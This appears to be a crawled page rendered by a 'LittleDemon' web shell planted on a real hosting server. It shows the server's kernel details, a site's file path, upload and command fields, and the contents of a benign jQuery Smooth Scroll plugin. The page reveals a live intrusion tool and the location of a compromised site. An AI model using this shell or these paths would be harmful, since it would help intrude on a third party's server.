LittleDemon WebShell


Linux server27.hostingraja.org 2.6.32-954.3.5.lve1.4.93.el6.x86_64 #1 SMP Wed Oct 4 17:04:29 UTC 2023 x86_64
Path : /home/udaipurk/public_html/websites/rohitnagda.com/old/js/
File Upload :
Command :
Current File : /home/udaipurk/public_html/websites/rohitnagda.com/old/js/smoothscroll.js

/*!
 * Smooth Scroll - v1.4.13 - 2013-11-02
 * https://github.com/kswedberg/jquery-smooth-scroll
 * Copyright (c) 2013 Karl Swedberg
 * Licensed MIT (https://github.com/kswedberg/jquery-smooth-scroll/blob/master/LICENSE-MIT)
*/ !function(t){var e={},l={exclude:[],excludeWithin:[],offset:0,direction:"left",scrollElement:t("div.sections"),scrollTarget:null,beforeScroll:function(){},afterScroll:function(){},easing:"swing",speed:400,autoCoefficent:2,preventDefault:!0},o=function(e){var l=[],o=!1,s=e.dir&&"left"==e.dir?"scrollLeft":"scrollTop";return this.each(function(){if(this!=document&&this!=window){var e=t(this);e[s]()>0?l.push(this):(e[s](1),(o=e[s]()>0)&&l.push(this),e[s](0))}}),l.length||this.each(function(t){"BODY"===this.nodeName&&(l=[this])}),"first"===e.el&&l.length>1&&(l=[l[0]]),l};function s(t){return t.replace(/(:|\.)/g,"\\$1")}t.fn.extend({scrollable:function(t){var e=o.call(this,{dir:t});return this.pushStack(e)},firstScrollable:function(t){var e=o.call(this,{el:"first",dir:t});return this.pushStack(e)},smoothScroll:function(e,l){if("options"===(e=e||{}))return l?this.each(function(){var e=t(this),o=t.extend(e.data("ssOpts")||{},l);t(this).data("ssOpts",o)}):this.first().data("ssOpts");var o=t.extend({},t.fn.smoothScroll.defaults,e),n=t.smoothScroll.filterPath(location.pathname);return this.unbind("click.smoothscroll").bind("click.smoothscroll",function(e){var l=t(this),r=t.extend({},o,l.data("ssOpts")||{}),i=o.exclude,c=r.excludeWithin,a=0,f=0,h=!0,u={},d=location.hostname===this.hostname||!this.hostname,p=r.scrollTarget||(t.smoothScroll.filterPath(this.pathname)||n)===n,m=s(this.hash);if(r.scrollTarget||d&&p&&m){for(;h&&a<i.length;)l.is(s(i[a++]))&&(h=!1);for(;h&&f<c.length;)l.closest(c[f++]).length&&(h=!1)}else h=!1;h&&(r.preventDefault&&e.preventDefault(),t.extend(u,r,{scrollTarget:r.scrollTarget||m,link:this}),t.smoothScroll(u))}),this}}),t.smoothScroll=function(l,o){if("options"===l&&"object"==typeof o)return t.extend(e,o);var s,n,r,i,c=0,a="offset",f="scrollTop",h={},u={};"number"==typeof l?(s=t.extend({link:null},t.fn.smoothScroll.defaults,e),r=l):(s=t.extend({link:null},t.fn.smoothScroll.defaults,l||{},e)).scrollElement&&(a="position","static"==s.scrollElement.css("position")&&s.scrollElement.css("position","relative")),f="left"==s.direction?"scrollLeft":f,s.scrollElement?(n=s.scrollElement,/^(?:HTML|BODY)$/.test(n[0].nodeName)||(c=n[f]())):n=t("html, body").firstScrollable(s.direction),s.beforeScroll.call(n,s),r="number"==typeof l?l:o||t(s.scrollTarget)[a]()&&t(s.scrollTarget)[a]()[s.direction]||0,h[f]=r+c+s.offset,"auto"===(i=s.speed)&&(i=h[f]||n.scrollTop(),i/=s.autoCoefficent),u={duration:i,easing:s.easing,complete:function(){s.afterScroll.call(s.link,s)}},s.step&&(u.step=s.step),n.length?n.stop().animate(h,u):s.afterScroll.call(s.link,s)},t.smoothScroll.version="1.4.13",t.smoothScroll.filterPath=function(t){return t.replace(/^\//,"").replace(/(?:index|default).[a-zA-Z]{3,4}$/,"").replace(/\/$/,"")},t.fn.smoothScroll.defaults=l}(jQuery);

LittleDemon - FACEBOOK
[ KELUAR ]